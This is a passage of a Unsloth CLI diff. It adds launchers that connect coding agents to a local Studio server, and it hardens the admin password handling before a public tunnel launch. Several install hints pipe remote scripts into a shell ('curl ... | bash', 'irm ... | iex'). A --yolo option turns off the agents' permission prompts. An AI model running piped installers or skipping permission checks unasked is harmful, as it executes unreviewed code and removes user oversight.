+            "yourself, or move the file aside and re-run.",
+            err = True,
+        )
+        return
+    before = json.dumps(config, sort_keys = True)
+    # Pi reads custom providers from ~/.pi/agent/models.json (HOME-relocated for the
+    # session). Studio is a generic OpenAI-compatible /v1 endpoint, and the key lives
+    # in the config rather than the env (matching openclaw/opencode).
+    provider_model = {"id": model["id"]}
+    window = model.get("context_length") or model.get("max_context_length")
+    if window:
+        window = int(window)
+        # An unspecified model defaults to contextWindow 128000 / maxTokens 16384,
+        # far larger than a small Studio context, so Pi compacts too late and overflows
+        # the server. Pin the real window and a sane output cap (mirrors OpenCode).
+        provider_model["contextWindow"] = window
+        provider_model["maxTokens"] = min(window // 4, 8192)
+    _subdict(config, "providers")[_PI_PROVIDER] = {
+        "api": "openai-completions",
+        "baseUrl": f"{base}/v1",
+        "apiKey": key,
+        "models": [provider_model],
+    }
+    if json.dumps(config, sort_keys = True) != before:
+        _write_private_json(path, config)
+        typer.echo(f"Updated {path}")
+
+
+@start_app.command("claude", context_settings = _PASSTHROUGH)
+def claude(
+    ctx: typer.Context,
+    model: Optional[str] = _MODEL_OPTION,
+    api_key: Optional[str] = _KEY_OPTION,
+    launch: bool = _LAUNCH_OPTION,
+    gguf_variant: Optional[str] = _GGUF_VARIANT_OPTION,
+    max_seq_length: int = _CONTEXT_OPTION,
+    load_in_4bit: bool = _LOAD_4BIT_OPTION,
+    tensor_parallel: bool = _TENSOR_PARALLEL_OPTION,
+    serve: bool = _SERVE_OPTION,
+    yolo: bool = _YOLO_OPTION,
+    persist: bool = _PERSIST_OPTION,
+):
+    """Point Claude Code at the running Studio server and start it."""
+    base, key, entry = _connect(
+        api_key,
+        model,
+        LoadOptions(gguf_variant, max_seq_length, load_in_4bit, tensor_parallel),
+        serve = serve,
+        launch = launch,
+    )
+    model_id = entry["id"]
+
+    env = {
+        "ANTHROPIC_BASE_URL": base,
+        "ANTHROPIC_AUTH_TOKEN": key,
+        "ANTHROPIC_MODEL": model_id,
+        # Session-only (no ~/.claude write): suppress the attribution header so
+        # llama.cpp KV-cache reuse is preserved; --settings below reinforces it.
+        "CLAUDE_CODE_ATTRIBUTION_HEADER": "0",
+        # Update checks, beta features, and other background requests either
+        # stall against a local server or evict the conversation from
+        # llama-server's KV-cache slots, so turn off everything nonessential.
+        "CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC": "1",
+        "CLAUDE_CODE_DISABLE_EXPERIMENTAL_BETAS": "1",
+        # A local server streams in bursts; disable the full-screen TUI redraw so the
+        # terminal doesn't flicker between tokens.
+        "CLAUDE_CODE_NO_FLICKER": "1",
+    }
+    # Claude Code auto-compacts against its native (~600k token) window; a local
+    # model's context is usually far smaller, so size the window to the loaded
+    # model's real context length. Otherwise the conversation overflows the
+    # server's window (silent truncation) long before Claude decides to compact.
+    # codex/openclaw get the same value through their config (model_context_window
+    # / contextWindow); Claude has no config file, so it rides on the env var.
+    window = entry.get("context_length") or entry.get("max_context_length")
+    if window:
+        env["CLAUDE_CODE_AUTO_COMPACT_WINDOW"] = str(int(window))
+        # Compact at 90% of that window; the override only takes effect once the
+        # window is set, and it can only lower the threshold, so it just guarantees
+        # headroom before the server's context limit instead of relying on Claude's
+        # default (which is tuned for its native 200K/1M window).
+        env["CLAUDE_AUTOCOMPACT_PCT_OVERRIDE"] = "90"
+    # --yolo (or its aliases) maps to Claude's own --dangerously-skip-permissions.
+    # IS_SANDBOX is left unset on purpose: Claude refuses bypass mode as root unless a
+    # sandbox is detected, and we don't want to falsely claim one on the user's host.
+    # claude keeps its history in ~/.claude/projects, which --settings/env never
+    # relocate, so a session already survives exit; resume it with `claude --continue`
+    # or `--resume <id>` passed through.
+    command = [
+        "claude",
+        "--model",
+        model_id,
+        *_claude_flags(),
+        *_yolo_command_flags("claude", yolo),
+        *ctx.args,
+    ]
+    install_hint = (
+        "irm https://claude.ai/install.ps1 | iex"
+        if os.name == "nt"
+        else "curl -fsSL https://claude.ai/install.sh | bash"
+    )
+    _run(
+        base,
+        entry,
+        env,
+        command,
+        launch = launch,
+        install_hint = install_hint,
+        unset_env = _CLAUDE_ENV_UNSET,
+    )
+
+
+@start_app.command("codex", context_settings = _PASSTHROUGH)
+def codex(
+    ctx: typer.Context,
+    model: Optional[str] = _MODEL_OPTION,
+    api_key: Optional[str] = _KEY_OPTION,
+    launch: bool = _LAUNCH_OPTION,
+    gguf_variant: Optional[str] = _GGUF_VARIANT_OPTION,
+    max_seq_length: int = _CONTEXT_OPTION,
+    load_in_4bit: bool = _LOAD_4BIT_OPTION,
+    tensor_parallel: bool = _TENSOR_PARALLEL_OPTION,
+    serve: bool = _SERVE_OPTION,
+    yolo: bool = _YOLO_OPTION,
+    persist: bool = _PERSIST_OPTION,
+):
+    """Point OpenAI Codex at the running Studio server and start it."""
+    base, key, entry = _connect(
+        api_key,
+        model,
+        LoadOptions(gguf_variant, max_seq_length, load_in_4bit, tensor_parallel),
+        serve = serve,
+        launch = launch,
+    )
+    # This preflight runs after _connect may have auto-started a server but before _run
+    # installs its teardown finally, so tear the server down here if it rejects the model
+    # (e.g. a transformers-backend model) rather than leaving it on the atexit backstop.
+    try:
+        _require_gguf_for_codex(base, key, entry["id"])
+    except BaseException:
+        _shutdown_auto_served()
+        raise
+    command = [
+        "codex",
+        "--oss",
+        "--profile",
+        _CODEX_PROFILE,
+        *_yolo_command_flags("codex", yolo),
+        *ctx.args,
+    ]
+    with _session_config("codex", launch, persist = persist) as home:
+        write_codex_config(base, entry, home)
+        env = {_CODEX_ENV_KEY: key, "CODEX_HOME": str(home)}
+        _run(base, entry, env, command, launch = launch, install_hint = "npm install -g @openai/codex")
+
+
+@start_app.command("openclaw", context_settings = _PASSTHROUGH)
+def openclaw(
+    ctx: typer.Context,
+    model: Optional[str] = _MODEL_OPTION,
+    api_key: Optional[str] = _KEY_OPTION,
+    launch: bool = _LAUNCH_OPTION,
+    gguf_variant: Optional[str] = _GGUF_VARIANT_OPTION,
+    max_seq_length: int = _CONTEXT_OPTION,
+    load_in_4bit: bool = _LOAD_4BIT_OPTION,
+    tensor_parallel: bool = _TENSOR_PARALLEL_OPTION,
+    serve: bool = _SERVE_OPTION,
+    yolo: bool = _YOLO_OPTION,
+    persist: bool = _PERSIST_OPTION,
+):
+    """Point OpenClaw at the running Studio server and start it."""
+    base, key, entry = _connect(
+        api_key,
+        model,
+        LoadOptions(gguf_variant, max_seq_length, load_in_4bit, tensor_parallel),
+        serve = serve,
+        launch = launch,
+    )
+    openclaw_args = list(ctx.args)
+    # Default a bare `unsloth start openclaw` to the local TUI. Anything the caller
+    # passes through is forwarded verbatim so OpenClaw parses it under its own grammar
+    # (openclaw [global-flags] <command> [options]): an explicit subcommand, a global
+    # flag that must precede the command such as --profile/--dev, or a tui option. We
+    # cannot reinterpret those safely because a leading "--flag value" is ambiguous
+    # between a global (`--profile test`) and a tui option (`--message hi`); prepending
+    # `tui --local` would break the global form, so only the empty case is defaulted.
+    if not openclaw_args:
+        openclaw_args = ["tui", "--local"]
+    command = ["openclaw", *openclaw_args]
+    install_hint = (
+        "iwr -useb https://openclaw.ai/install.ps1 | iex"
+        if os.name == "nt"
+        else "curl -fsSL https://openclaw.ai/install.sh | bash"
+    )
+    with _session_config("openclaw", launch, persist = persist) as cfg:
+        config_path = cfg / "openclaw.json"
+        workspace_path = None
+        if _wsl_windows_executable(command):
+            workspace_path = _wsl_windows_path(cfg / "workspace")
+        # key lives in the config, not the env; --yolo writes the exec policy here too.
+        write_openclaw_config(
+            base,
+            key,
+            entry,
+            config_path,
+            yolo = yolo,
+            workspace_path = workspace_path,
+        )
+        # Scope both config and state so OpenClaw never touches the user's ~/.openclaw.
+        env = {"OPENCLAW_CONFIG_PATH": str(config_path), "OPENCLAW_STATE_DIR": str(cfg)}
+        _run(base, entry, env, command, launch = launch, install_hint = install_hint)
+
+
+@start_app.command("opencode", context_settings = _PASSTHROUGH)
+def opencode(
+    ctx: typer.Context,
+    model: Optional[str] = _MODEL_OPTION,
+    api_key: Optional[str] = _KEY_OPTION,
+    launch: bool = _LAUNCH_OPTION,
+    gguf_variant: Optional[str] = _GGUF_VARIANT_OPTION,
+    max_seq_length: int = _CONTEXT_OPTION,
+    load_in_4bit: bool = _LOAD_4BIT_OPTION,
+    tensor_parallel: bool = _TENSOR_PARALLEL_OPTION,
+    serve: bool = _SERVE_OPTION,
+    yolo: bool = _YOLO_OPTION,
+    persist: bool = _PERSIST_OPTION,
+):
+    """Point OpenCode at the running Studio server and start it."""
+    base, key, entry = _connect(
+        api_key,
+        model,
+        LoadOptions(gguf_variant, max_seq_length, load_in_4bit, tensor_parallel),
+        serve = serve,
+        launch = launch,
+    )
+    opencode_model = f"{_OPENCODE_PROVIDER}/{entry['id']}"
+    # The inline OPENCODE_CONFIG_CONTENT below pins the model in the highest-priority
+    # layer, so the session model is forced without a --model flag. Only add --model for
+    # an interactive bare launch (a convenience so the TUI opens on our model). It is
+    # omitted for passthrough (inserting it before a subcommand can be misparsed) and for
+    # --no-launch, where the printed command is consumed by drivers that append a
+    # subcommand such as `run <prompt>`; a leading --model would land before that
+    # subcommand and break it. Those paths rely on the inline pin instead.
+    if ctx.args:
+        command = ["opencode", *ctx.args]
+    elif launch:
+        command = ["opencode", "--model", opencode_model]
+    else:
+        command = ["opencode"]
+    # opencode keeps sessions in ~/.local/share/opencode (never relocated), so resume
+    # already survives exit; reopen the last one by passing `opencode --continue` through.
+    with _session_config("opencode", launch, persist = persist) as cfg:
+        config_path = cfg / "opencode.json"
+        # OPENCODE_CONFIG is an overlay (loaded between the user's global and project
+        # configs), so this adds the Unsloth provider/model for the session without
+        # changing the user's default model. Key lives in the config, not the env.
+        session_permission = write_opencode_config(base, key, entry, config_path, yolo = yolo)
+        # A project's own opencode.json outranks OPENCODE_CONFIG, so the session model pin
+        # would silently lose to a repo config. Carry it in OPENCODE_CONFIG_CONTENT, which
+        # outranks project config; the API key stays in the private file, never the env.
+        # Only --yolo carries a permission here (its allow must win over a project config);
+        # a non-yolo session returns no permission, so the project's own rules are honored.
+        # opencode filters every provider (a config-defined custom one included) through
+        # its enabled_providers allowlist and disabled_providers denylist, and a model pin
+        # does not bypass that gate -- a filtered provider resolves to ModelNotFoundError.
+        # To guarantee the session model loads without reading or modifying the user's real
+        # config, scope THIS session to our provider alone: allowlist _OPENCODE_PROVIDER and
+        # clear the denylist. These arrays are replaced (not merged) by higher layers, so
+        # setting them in the highest-priority inline overlay neutralizes any user allowlist
+        # or denylist for the launch. It is session-only: it lives in OPENCODE_CONFIG_CONTENT
+        # for this invocation and never touches the user's config files, so their normal
+        # `opencode` is unchanged; only this session is limited to the Studio provider.
+        # small_model is opencode's separate model for lightweight tasks; pin it to the
+        # session model too, or a user/project small_model on another (now filtered)
+        # provider would resolve a not-found error mid-session. The session serves one
+        # model, so the session model is the only valid target here anyway.
+        inline_config: dict = {
+            "model": opencode_model,
+            "small_model": opencode_model,
+            "enabled_providers": [_OPENCODE_PROVIDER],
+            "disabled_providers": [],
+        }
+        if session_permission:
+            inline_config["permission"] = session_permission
+        env = {
+            "OPENCODE_CONFIG": str(config_path),
+            "OPENCODE_CONFIG_CONTENT": json.dumps(inline_config),
+        }
+        _run(base, entry, env, command, launch = launch, install_hint = "npm install -g opencode-ai")
+
+
+@start_app.command("hermes", context_settings = _PASSTHROUGH)
+def hermes(
+    ctx: typer.Context,
+    model: Optional[str] = _MODEL_OPTION,
+    api_key: Optional[str] = _KEY_OPTION,
+    launch: bool = _LAUNCH_OPTION,
+    gguf_variant: Optional[str] = _GGUF_VARIANT_OPTION,
+    max_seq_length: int = _CONTEXT_OPTION,
+    load_in_4bit: bool = _LOAD_4BIT_OPTION,
+    tensor_parallel: bool = _TENSOR_PARALLEL_OPTION,
+    serve: bool = _SERVE_OPTION,
+    yolo: bool = _YOLO_OPTION,
+    persist: bool = _PERSIST_OPTION,
+):
+    """Point Hermes (Nous Research) at the running Studio server and start it."""
+    native_args = [*_yolo_command_flags("hermes", yolo), *ctx.args]
+    command = ["hermes", *_hermes_resume_oneshot_args(native_args)]
+    base, key, entry = _connect(
+        api_key,
+        model,
+        LoadOptions(gguf_variant, max_seq_length, load_in_4bit, tensor_parallel),
+        serve = serve,
+        launch = launch,
+    )
+    install_hint = _hermes_install_hint()
+    with _session_config("hermes", launch, persist = persist) as home:
+        # HERMES_HOME relocates hermes' whole home dir (config.yaml, sessions, state)
+        # like CODEX_HOME, so the user's ~/.hermes is left untouched for the session.
+        write_hermes_config(base, entry, home / "config.yaml")
+        env = {_HERMES_ENV_KEY: key, "HERMES_HOME": str(home)}
+        _run(base, entry, env, command, launch = launch, install_hint = install_hint)
+
+
+@start_app.command("pi", context_settings = _PASSTHROUGH)
+def pi(
+    ctx: typer.Context,
+    model: Optional[str] = _MODEL_OPTION,
+    api_key: Optional[str] = _KEY_OPTION,
+    launch: bool = _LAUNCH_OPTION,
+    gguf_variant: Optional[str] = _GGUF_VARIANT_OPTION,
+    max_seq_length: int = _CONTEXT_OPTION,
+    load_in_4bit: bool = _LOAD_4BIT_OPTION,
+    tensor_parallel: bool = _TENSOR_PARALLEL_OPTION,
+    serve: bool = _SERVE_OPTION,
+    yolo: bool = _YOLO_OPTION,
+    persist: bool = _PERSIST_OPTION,
+):
+    """Point Pi (coding agent) at the running Studio server and start it."""
+    base, key, entry = _connect(
+        api_key,
+        model,
+        LoadOptions(gguf_variant, max_seq_length, load_in_4bit, tensor_parallel),
+        serve = serve,
+        launch = launch,
+    )
+    # Pi defaults to the google provider, so pin our provider/model on the command
+    # line; the custom OpenAI-compatible endpoint itself is only configurable via
+    # ~/.pi/agent/models.json.
+    command = [
+        "pi",
+        "--provider",
+        _PI_PROVIDER,
+        "--model",
+        entry["id"],
+        *_yolo_command_flags("pi", yolo),
+        *ctx.args,
+    ]
+    # --ignore-scripts matches Pi's documented install recipe (its README notes Pi needs
+    # no install scripts), so accepting the prompt skips dependency lifecycle scripts.
+    install_hint = "npm install -g --ignore-scripts @earendil-works/pi-coding-agent"
+    with _session_config("pi", launch, persist = persist) as home:
+        # Pi resolves its config dir from PI_CODING_AGENT_DIR first (getAgentDir() prefers
+        # it over $HOME/.pi/agent), so pin it at the session dir: an inherited
+        # PI_CODING_AGENT_DIR in the user's shell would otherwise send Pi to their real
+        # config and skip our provider/key. HOME is relocated too so any other ~/.pi paths
+        # stay in the session. The key rides in the config rather than the env.
+        pi_agent_dir = home / ".pi" / "agent"
+        write_pi_config(base, key, entry, pi_agent_dir / "models.json")
+        env = {"HOME": str(home), "PI_CODING_AGENT_DIR": str(pi_agent_dir)}
+        if os.name == "nt" or os.environ.get("WSL_DISTRO_NAME"):
+            # Node resolves ~/.pi via USERPROFILE (then HOMEDRIVE + HOMEPATH) on Windows,
+            # not HOME. Set them whenever Pi may run as a Windows process: native Windows,
+            # or a /mnt Windows shim launched from WSL (the WSLENV bridge then translates
+            # the path). Otherwise the Windows process falls back to the user's real
+            # %USERPROFILE%\.pi. splitdrive yields no drive off a POSIX path, so
+            # HOMEDRIVE/HOMEPATH stay unset there.
+            env["USERPROFILE"] = str(home)
+            drive, tail = os.path.splitdrive(str(home))
+            if drive:
+                env["HOMEDRIVE"], env["HOMEPATH"] = drive, tail
+        # Pi paints inline from the current cursor position (no alternate screen,
+        # no clear on first render), so give it the clean screen it assumes.
+        _run(
+            base,
+            entry,
+            env,
+            command,
+            launch = launch,
+            install_hint = install_hint,
+            clear_screen = True,
+        )
diff --git a/unsloth_cli/commands/studio.py b/unsloth_cli/commands/studio.py
index 80641a17c3..09355bd454 100644
--- a/unsloth_cli/commands/studio.py
+++ b/unsloth_cli/commands/studio.py
@@ -3,6 +3,7 @@
 
 import importlib.util
 import hashlib
+import hmac
 import json
 import os
 import platform
@@ -21,6 +22,8 @@ from pathlib import Path
 from typing import List, Optional
 import typer
 
+from unsloth_cli.commands import _password_prompt
+
 studio_app = typer.Typer(help = "Unsloth Studio commands.")
 
 
@@ -480,6 +483,14 @@ def _connect_auth_db() -> sqlite3.Connection:
     auth_dir = STUDIO_HOME / "auth"
     auth_dir.mkdir(parents = True, exist_ok = True)
     conn = sqlite3.connect(auth_dir / "auth.db")
+    # Mirror backend storage.get_connection: this path can create auth/ and
+    # auth.db (the pre-exposure gate writes here first), and sqlite3.connect
+    # makes the DB 0644 under a 022 umask. Keep both private.
+    for _path, _mode in ((auth_dir, 0o700), (auth_dir / "auth.db", 0o600)):
+        try:
+            os.chmod(_path, _mode)
+        except OSError:
+            pass
     conn.execute(
         """
         CREATE TABLE IF NOT EXISTS auth_user (
@@ -627,6 +638,526 @@ def _create_desktop_secret_in_cli() -> str:
         conn.close()
 
 
+def _should_prompt_password_change(
+    *, cloudflare: Optional[bool], host: str, secure: bool, api_only: bool
+) -> bool:
+    """Whether this launch will expose Studio through the Cloudflare tunnel.
+
+    CLI mirror of run.py's _cloudflare_tunnel_should_start, minus the Colab
+    case (Colab launches never come through this CLI path). --secure implies
+    the tunnel; --cloudflare only tunnels non-api-only wildcard binds.
+    """
+    if secure:
+        return True
+    if cloudflare is not True:
+        return False
+    return host in ("0.0.0.0", "::") and not api_only
+
+
+def _prompt_streams_interactive() -> bool:
+    """The prompt needs a real terminal for input and for the masked echo."""
+    try:
+        return sys.stdin.isatty() and sys.stderr.isatty()
+    except (AttributeError, ValueError):
+        return False
+
+
+def _bootstrap_deadline_active() -> bool:
+    """Whether the backend's bootstrap shutdown deadline will arm.
+
+    Mirror of studio/backend/auth/bootstrap_timeout.py bootstrap_timeout_seconds:
+    unset/blank/malformed UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT falls back to the 1h
+    default (a typo must not remove protection); 0 or negative disables it.
+    """
+    raw = os.environ.get("UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT", "").strip()
+    if not raw:
+        return True
+    try:
+        return int(raw) > 0
+    except ValueError:
+        return True
+
+
+def _cli_update_password(conn: sqlite3.Connection, username: str, new_password: str) -> None:
+    """CLI mirror of backend update_password + change-password route effects.
+
+    One transaction: rehash, rotate the JWT secret, clear must_change_password,
+    revoke refresh tokens (PR #6651 finding), and drop the desktop secret. File
+    cleanup happens after commit; a failed unlink must not roll the change back.
+    """
+    password_salt, password_hash = _hash_password(new_password)
+    with conn:
+        conn.execute(
+            """
+            UPDATE auth_user
+            SET password_salt = ?, password_hash = ?, jwt_secret = ?, must_change_password = 0
+            WHERE username = ?
+            """,
+            (password_salt, password_hash, secrets.token_urlsafe(64), username),
+        )
+        conn.execute("DELETE FROM refresh_tokens WHERE username = ?", (username,))
+        conn.execute(
+            "DELETE FROM app_secrets WHERE key IN (?, ?)",
+            (DESKTOP_SECRET_HASH_KEY, DESKTOP_SECRET_CREATED_AT_KEY),
+        )
+    for stale in (BOOTSTRAP_PASSWORD_FILE, DESKTOP_SECRET_FILE):
+        stale_path = STUDIO_HOME / "auth" / stale
+        try:
+            stale_path.unlink(missing_ok = True)
+        except OSError as exc:
+            # The hash is already committed, so a failed unlink must NOT roll the
+            # change back. But a locked-yet-writable file (Windows AV, read-only
+            # auth dir) must be truncated: otherwise its stale plaintext survives
+            # and generate_bootstrap_password() would re-validate this revoked
+            # credential after a later reset-password deletes auth.db. Mirrors
+            # backend clear_bootstrap_password().
+            try:
+                stale_path.write_text("")
+                cleared = True
+            except OSError:
+                cleared = False
+            if cleared:
+                typer.echo(
+                    f"Warning: could not remove stale {stale} file ({exc}); cleared its "
+                    "contents so the old credential cannot be reused.",
+                    err = True,
+                )
+            else:
+                typer.echo(
+                    f"Warning: could not remove or clear stale {stale} file ({exc}); the "
+                    "old credential is still on disk. Remove it manually to prevent reuse "
+                    "after a reset.",
+                    err = True,
+                )
+
+
+def _apply_supplied_password_before_launch(supplied_password: "str | None") -> None:
+    """Non-interactively set the INITIAL admin password (from --password /
+    UNSLOTH_STUDIO_PASSWORD / stdin) before the server binds, while the account
+    still has its auto-generated bootstrap password.
+
+    Only ever sets the FIRST password: an already-set one is a hard error (an
+    override would be an auth bypass on a public launch), and an invalid value
+    fails closed. Runs in the parent before any re-exec so the secret never
+    crosses to the child argv.
+    """
+    if not supplied_password:
+        return
+    try:
+        conn = _connect_auth_db()
+    except (OSError, sqlite3.Error) as exc:
+        typer.echo(
+            f"Error: --password could not open the Studio auth database ({exc}); not starting.",
+            err = True,
+        )
+        raise typer.Exit(1)
+    try:
+        _ensure_cli_default_admin(conn)
+        conn.commit()
+        row = conn.execute(
+            "SELECT password_salt, password_hash, must_change_password "
+            "FROM auth_user WHERE username = ?",
+            (DEFAULT_ADMIN_USERNAME,),
+        ).fetchone()
+        if not row:
+            typer.echo(
+                "Error: --password could not initialize the admin account; not starting.",
+                err = True,
+            )
+            raise typer.Exit(1)
+        if not row[2]:
+            typer.echo(
+                "Error: a Studio admin password is already set; --password only sets "
+                "the initial password. Run `unsloth studio reset-password` first "
+                "(or change it in the UI).",
+                err = True,
+            )
+            raise typer.Exit(1)
+        password_salt, password_hash = row[0], row[1]
+
+        def _is_current_password(candidate: str) -> bool:
+            return hmac.compare_digest(
+                _pbkdf2_hex(candidate, password_salt.encode("utf-8")), password_hash
+            )
+
+        problem = _password_prompt.validate_new_password(supplied_password, _is_current_password)
+        if problem is not None:
+            typer.echo(f"Error: {problem} Not starting.", err = True)
+            raise typer.Exit(1)
+        _cli_update_password(conn, DEFAULT_ADMIN_USERNAME, supplied_password)
+        typer.echo(f"Password updated for '{DEFAULT_ADMIN_USERNAME}'.", err = True)
+    except (OSError, sqlite3.Error) as exc:
+        # Any DB failure fails closed (typer.Exit is not caught here, so the
+        # deliberate Exit(1) branches above propagate unchanged).
+        typer.echo(
+            f"Error: --password could not update the Studio auth database ({exc}); not starting.",
+            err = True,
+        )
+        raise typer.Exit(1)
+    finally:
+        conn.close()
+
+
+def _strip_seeded_bootstrap_password_or_exit(*, context: str) -> None:
+    """Remove the seeded plaintext bootstrap password before a public re-exec.
+
+    Version-independent protection: a re-exec'd child of ANY version (including an
+    old studio-venv predating the pre-bind gate) then reads None instead of
+    injecting the default credential into the public page. must_change_password
+    stays set, so the login page still forces a change and the timer still arms.
+    Removal IS the protection, so if it fails (locked file, read-only auth dir)
+    fail closed rather than publish it.
+    """
+    bootstrap_file = STUDIO_HOME / "auth" / BOOTSTRAP_PASSWORD_FILE
+    try:
+        bootstrap_file.unlink(missing_ok = True)
+    except OSError as exc:
+        typer.echo(
+            "Error: refusing to publish Studio on a public Cloudflare URL: "
+            f"could not remove the seeded bootstrap password file ({exc}), so an "
+            f"older Studio child could still serve the default credential ({context}). "
+            "Delete it manually or change the admin password (run `unsloth studio` "
+            "locally with a terminal attached, or `unsloth studio reset-password`), "
+            "then retry.",
+            err = True,
+        )
+        raise typer.Exit(1)
+
+
+def _require_servable_frontend_or_exit(
+    *, frontend: Optional[Path], api_only: bool, cloudflare: Optional[bool], host: str, secure: bool
+) -> Optional[Path]:
+    """Fail closed BEFORE the pre-exposure gate if a public UI launch has no
+    login page to change the seeded password.
+
+    The gate strips the seeded .bootstrap_password on a headless public launch,
+    so if the child then cannot serve the login page the admin is locked out
+    (must_change_password=1, no file, no UI) until `unsloth studio reset-password`.
+    The login page is the ONLY in-band way to change the seeded password, so a
+    public non-api-only launch must have a servable dist before the strip.
+
+    Returns the dist to serve: a user-supplied --frontend (validated to contain
+    index.html) or the auto-resolved built dist. Returns `frontend` unchanged for
+    non-public or --api-only launches (no login page needed).
+    """
+    if api_only or not _should_prompt_password_change(
+        cloudflare = cloudflare, host = host, secure = secure, api_only = api_only
+    ):
+        return frontend
+    if frontend is not None:
+        # A user-supplied dist is not vetted by _find_frontend_dist, so verify it
+        # can serve the login page; else `--frontend /bad/path` bypasses the guard.
+        if (Path(frontend) / "index.html").is_file():
+            return frontend
+        typer.echo(
+            "Error: --frontend points at a directory with no index.html, so a "
+            "public Studio launch would have no login page to change the seeded "
+            "admin password. Point --frontend at a built dist, rebuild it (re-run "
+            "install.sh), or use --api-only.",
+            err = True,
+        )
+        raise typer.Exit(1)
+    # _find_frontend_dist only returns a path that already contains index.html.
+    resolved = _find_frontend_dist()
+    if resolved is not None:
+        return resolved
+    typer.echo(
+        "Error: the Studio frontend is not built, so a public launch would have "
+        "no login page to change the seeded admin password. Build it (re-run "
+        "install.sh), pass --frontend PATH to a built dist, or use --api-only.",
+        err = True,
+    )
+    raise typer.Exit(1)
+
+
+def _validate_inproc_backend_before_strip(
+    *, cloudflare: Optional[bool], host: str, secure: bool, api_only: bool
+) -> None:
+    """In-venv (in-process) analogue of the re-exec launcher check.
+
+    In-venv there is no re-exec, so the backend is imported in-process only AFTER
+    the gate. On the headless public path the gate strips the seeded
+    .bootstrap_password, so a broken venv that fails at import would leave
+    must_change_password=1 with no password to log in. Import the backend up front
+    on that path and exit cleanly if broken, before anything is stripped.
+    Headless-only so an interactive prompt is not delayed behind the import.
+    """
+    if not _should_prompt_password_change(
+        cloudflare = cloudflare, host = host, secure = secure, api_only = api_only
+    ):
+        return
+    if _prompt_streams_interactive():
+        return
+    try:
+        _load_run_module()
+    except Exception as exc:
+        typer.echo(
+            f"Error: the Studio backend could not be loaded ({exc}); refusing to "
+            "expose Studio publicly before it is confirmed runnable. Re-run: "
+            "unsloth studio setup",
+            err = True,
+        )
+        raise typer.Exit(1)
+
+
+def _tunnel_binary_confirmed_unavailable() -> bool:
+    """True only if cloudflared is provably unavailable (found nowhere on PATH or
+    in the Studio cache AND the download failed), so the tunnel cannot start.
+
+    Used on the --secure path (loopback bind, so the tunnel is the ONLY public
+    exposure) to skip stripping the seeded recovery password before a public URL
+    that will never come up. Loads the stdlib-only cloudflare_tunnel helper by
+    file path so the check runs in the parent, before the strip.
+
+    Returns False on ANY uncertainty: a possible credential leak outweighs a
+    recoverable lockout, so the caller keeps the strip unless the tunnel is
+    provably dead.
+    """
+    run_py = _find_run_py()
+    if run_py is None:
+        return False
+    backend_dir = run_py.parent
+    tunnel_py = backend_dir / "cloudflare_tunnel.py"
+    if not tunnel_py.is_file():
+        return False
+    # ensure_cloudflared() lazily imports utils.paths.storage_roots to resolve the
+    # Studio bin cache. The outer CLI hasn't added studio/backend to sys.path yet,
+    # so that import would fail and return None (a false "unavailable" that wrongly
+    # refuses --secure). Add the backend dir so the cache path resolves as in the child.
+    added_backend_path = False
+    try:
+        if str(backend_dir) not in sys.path:
+            sys.path.insert(0, str(backend_dir))
+            added_backend_path = True
+        spec = importlib.util.spec_from_file_location("studio.backend.cloudflare_tunnel", tunnel_py)
+        if spec is None or spec.loader is None:
+            return False
+        module = importlib.util.module_from_spec(spec)
+        spec.loader.exec_module(module)
+        return module.ensure_cloudflared() is None
+    except Exception:
+        return False
+    finally:
+        if added_backend_path:
+            try:
+                sys.path.remove(str(backend_dir))
+            except ValueError:
+                pass
+
+
+def _child_self_suppresses(*, in_studio_venv: bool, child_run_py: Optional[Path]) -> bool:
+    """True when the child that will serve Studio is provably THIS install's
+    backend, whose pre-bind gate sets app.state.suppress_bootstrap_injection and
+    so never serves the seeded credential publicly -- even with .bootstrap_password
+    on disk. The parent-side strip is then unnecessary and can be skipped to avoid
+    a lockout if the tunnel never comes up, keeping the file for LOCAL recovery.
+
+    True iff we run in-process here, or the re-exec target is the outer install's
+    own run.py (identity match). False on ANY doubt -- a studio-venv console script
+    or a venv run.py that may predate the gate -- so the strip stays in force
+    wherever an old child is possible.
+    """
+    if in_studio_venv:
+        return True
+    if child_run_py is None:
+        return False
+    try:
+        outer_run_py = (_PACKAGE_ROOT / "studio" / "backend" / "run.py").resolve()
+        return child_run_py.resolve() == outer_run_py
+    except OSError:
+        return False
+
+
+def _enforce_password_change_before_exposure(
+    *,
+    cloudflare: Optional[bool],
+    host: str,
+    secure: bool,
+    api_only: bool,
+    child_self_suppresses: bool = False,
+) -> None:
+    """Force a terminal password change before the first public (tunnel) exposure.
+
+    When the launch will start the tunnel and the admin still has its
+    auto-generated bootstrap password, ask for a new one in the terminal (masked,
+    confirmed) before any server or tunnel exists. Committing here, in the parent,
+    keeps the password off argv/env and an older studio-venv child sees it
+    immediately. Without a terminal, warn and fall back to the bootstrap shutdown
+    timer (~1h, UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT).
+    """
+    if not _should_prompt_password_change(
+        cloudflare = cloudflare, host = host, secure = secure, api_only = api_only
+    ):
+        return
+    # Before public exposure we must PROVE the admin password is no longer the
+    # seeded default. If we cannot (auth DB won't open, or a fresh admin cannot be
+    # seeded + committed below), an old studio-venv child could regenerate a fresh
+    # bootstrap credential and serve it; stripping a file we can't vouch for cannot
+    # stop a regeneration. So those cases fail closed, as does a failure after the
+    # user typed a new password.
+    try:
+        conn = _connect_auth_db()
+    except (OSError, sqlite3.Error) as exc:
+        # Cannot open the auth DB, so cannot confirm a committed admin exists.
+        # Refuse rather than risk a child serving the default login; a transient
+        # lock clears on retry.
+        typer.echo(
+            "Error: refusing to publish Studio on a public Cloudflare URL: could "
+            f"not open the Studio auth database ({exc}) to confirm the admin "
+            "password was changed. Retry (a transient database lock clears), or "
+            "change the password first (run `unsloth studio` locally with a "
+            "terminal attached, or `unsloth studio reset-password`).",
+            err = True,
+        )
+        raise typer.Exit(1)
+    try:
+        try:
+            _ensure_cli_default_admin(conn)
+            # Persist a freshly seeded admin before we might re-exec: the INSERT is
+            # otherwise uncommitted and rolls back on conn.close(). If the seed or
+            # commit fails, no admin is committed, so a re-exec'd OLD child finds
+            # none, regenerates a fresh bootstrap password + file, and serves THAT
+            # -- stripping cannot stop a regeneration. Can't prove a committed
+            # admin, so fail closed.
+            conn.commit()
+        except (OSError, sqlite3.Error) as exc:
+            # Best-effort remove any half-written seed file (its row rolled back);
+            # the launch is refused regardless.
+            try:
